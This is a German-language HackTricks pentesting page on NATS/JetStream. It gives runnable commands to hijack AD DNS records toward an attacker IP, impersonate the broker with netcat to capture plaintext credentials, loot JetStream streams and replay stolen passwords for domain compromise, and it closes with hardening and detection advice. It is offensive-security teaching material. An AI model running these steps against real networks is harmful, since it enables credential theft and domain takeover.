4222 - Pentesting NATS / JetStream

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

NATS ist ein hochperformanter Message-Bus, der ein einfaches textbasiertes Protokoll spricht: der Server sendet unmittelbar nach TCP-Verbindung ein INFO { ... } JSON-Banner, und der Client antwortet mit einem CONNECT {"user":"USERNAME","pass":"PASSWORD",...}-Frame, gefolgt von optionalen PING/PUB/SUB-Befehlen. JetStream fügt Persistenz-Primitiven (Streams & Consumers) oberhalb desselben TCP-Ports (4222/tcp) hinzu. TLS und Authentifizierung sind optional, daher laufen viele interne Bereitstellungen mit plaintext AUTH.

  • Standardport: 4222/tcp (4223+ für Cluster-Routen)
  • Standard-Banner-Felder: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Aufklärung

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Der INFO-Frame kann auch manuell abgerufen werden:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Installieren Sie die offizielle CLI (Go ≥1.21) für tiefere Interaktion:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentifizierungsfehler lösen sofort nats: Authorization Violation aus, daher sind gültige creds für jedes sinnvolle RPC erforderlich.

Credential capture via DNS/service impersonation

  • Ermittle veraltete AD DNS-Einträge für den Broker-Hostname (z. B. nats-svc.domain.local). Wenn der Record NXDOMAIN zurückgibt, kann ein Domänenbenutzer mit geringen Rechten ihn dank der default dynamic-update ACLs neu erstellen. Siehe AD DNS Records abuse für Hintergrund.
  • Registriere den Hostnamen auf eine vom Angreifer kontrollierte IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Spiegle das legitime Banner einmal und spiele es dann an jeden verbindenden Client zurück. NATS vertraut der ersten INFO-Zeile, die es sieht, daher müssen wir sie nur durch einen listener leiten:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Sobald ein interner Client den hijacked Namen auflöst, sendet er einen Klartext-CONNECT-Frame, der das user / pass-Paar und verschiedene Telemetriedaten (Client-Name, Go-Version, Protokolllevel) enthält. Da nichts über das INFO banner hinaus erforderlich ist, reicht schon nc, um die Geheimnisse zu sammeln.
  • Für längere Einsätze betreibe den offiziellen Server lokal (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging zeigt bereits Benutzernamen; das Entfernen des redaction helper oder das Mitschneiden des Verkehrs mit Wireshark offenbart das vollständige Passwort.

JetStream-Plünderung & Passwortsuche

Sobald Anmeldeinformationen wiederhergestellt wurden (z. B. Dev_Account_A), speichere sie als CLI-Kontext, um wiederholtes Eintippen zu vermeiden:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream-Discovery folgt normalerweise diesem Muster:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming-Teams protokollieren häufig Authentifizierungsereignisse in subjects wie logs.auth. Wenn Entwickler das rohe JSON in einen JetStream-Stream persistieren, können die payloads plaintext AD-Benutzernamen und -Passwörter enthalten:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Behaltene Secrets können dann gegen Kerberos-only Services mit netexec smb DC01 -u USER -p PASS -k replayed werden, was eine vollständige Kompromittierung der Domain ermöglicht.

Härtung & Erkennung

  • TLS durchsetzen (tls, tls_required, oder mTLS via nkey/creds). Ohne Verschlüsselung leakt INFO/CONNECT Anmeldeinformationen an jeden on-path.
  • Genau bestimmen, wer DNS aktualisieren kann – delegiere service records an dedizierte Accounts und prüfe Event IDs 257/252 für hochwertige Hostnamen. Kombiniere das mit scavenging alerts, damit fehlende Broker-Namen nicht stillschweigend wieder-übernommen werden können.
  • Credential-Logging deaktivieren. Scrubbe Secrets bevor du sie an subjects publishst, setze JetStream retention/age limits und wende deny_delete=false nur auf vertrauenswürdige Operatoren an.
  • Auf Banner-Anomalien überwachen – wiederholte kurzlebige Verbindungen, Authentication-Timeouts oder INFO banners, die nicht dem zugelassenen Template entsprechen, deuten auf gefälschte Server hin.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks